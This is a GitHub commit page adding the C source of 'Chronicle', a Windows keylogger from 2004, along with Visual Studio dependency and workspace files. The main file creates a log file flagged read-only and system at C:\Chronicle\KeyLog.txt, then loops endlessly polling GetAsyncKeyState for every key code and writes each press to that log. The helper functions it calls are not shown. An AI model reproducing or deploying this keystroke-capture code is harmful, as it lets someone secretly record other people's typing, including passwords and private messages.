-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
18a9b62
commit 4b59bb8
Showing
9 changed files
with
891 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,65 @@ | ||
/**************************************************************/ | ||
/* Chronicle - Key logger */ | ||
/**************************************************************/ | ||
/* By: Drew Chapin */ | ||
/* Started: August 6th 2004 */ | ||
/**************************************************************/ | ||
|
||
#include <windows.h> | ||
#include <stdio.h> | ||
#include ".\Chronicle.h" | ||
#include ".\resource.h" | ||
|
||
// globals | ||
HANDLE hFile; | ||
char szTemp[256]; | ||
char szLogFile[] = "C:\\Chronicle\\KeyLog.txt"; | ||
DWORD dwAttributes = FILE_ATTRIBUTE_NORMAL | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM; | ||
DWORD dwFileSize = 0; | ||
|
||
int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) | ||
{ | ||
|
||
// make sure the Chronicle dir exits | ||
CreateDirectory( "C:\\Chronicle", NULL ); | ||
|
||
// open the log file | ||
hFile = CreateFile( szLogFile, GENERIC_WRITE, FILE_SHARE_READ, NULL, | ||
OPEN_ALWAYS, dwAttributes, NULL ); | ||
|
||
// get the file size | ||
dwFileSize = GetFileSize( hFile, NULL ); | ||
|
||
// set the file pointer to the end | ||
SetFilePointer( hFile, dwFileSize, NULL, FILE_BEGIN ); | ||
|
||
// exit if the log file couldnt be opened | ||
if( hFile == INVALID_HANDLE_VALUE ) | ||
{ | ||
sprintf( szTemp, "Error: %d", GetLastError() ); | ||
MessageBox( NULL, szTemp, NULL, MB_OK ); | ||
exit( 0 ); | ||
} | ||
|
||
while( TRUE ) | ||
{ | ||
|
||
for( int i = 0; i < 255; i++ ) | ||
{ | ||
|
||
if( GetAsyncKeyState( i ) == KEYPRESS ) | ||
{ | ||
|
||
WriteKeyLog( hFile, i ); | ||
|
||
} | ||
|
||
} | ||
|
||
} | ||
|
||
CloseHandle( hFile ); | ||
|
||
return 0; | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
# Microsoft Developer Studio Generated Dependency File, included by Chronicle.mak | ||
|
||
.\Chronicle.cpp : \ | ||
".\Chronicle.h"\ | ||
"c:\program files\microsoft visual studio\vc98\include\basetsd.h"\ | ||
|
||
|
||
.\Chronicle.rc : \ | ||
".\Key04.ico"\ | ||
|
Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,29 @@ | ||
Microsoft Developer Studio Workspace File, Format Version 6.00 | ||
# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! | ||
|
||
############################################################################### | ||
|
||
Project: "Chronicle"=".\Chronicle.dsp" - Package Owner=<4> | ||
|
||
Package=<5> | ||
{{{ | ||
}}} | ||
|
||
Package=<4> | ||
{{{ | ||
}}} | ||
|
||
############################################################################### | ||
|
||
Global: | ||
|
||
Package=<5> | ||
{{{ | ||
}}} | ||
|
||
Package=<3> | ||
{{{ | ||
}}} | ||
|
||
############################################################################### | ||
|
Oops, something went wrong.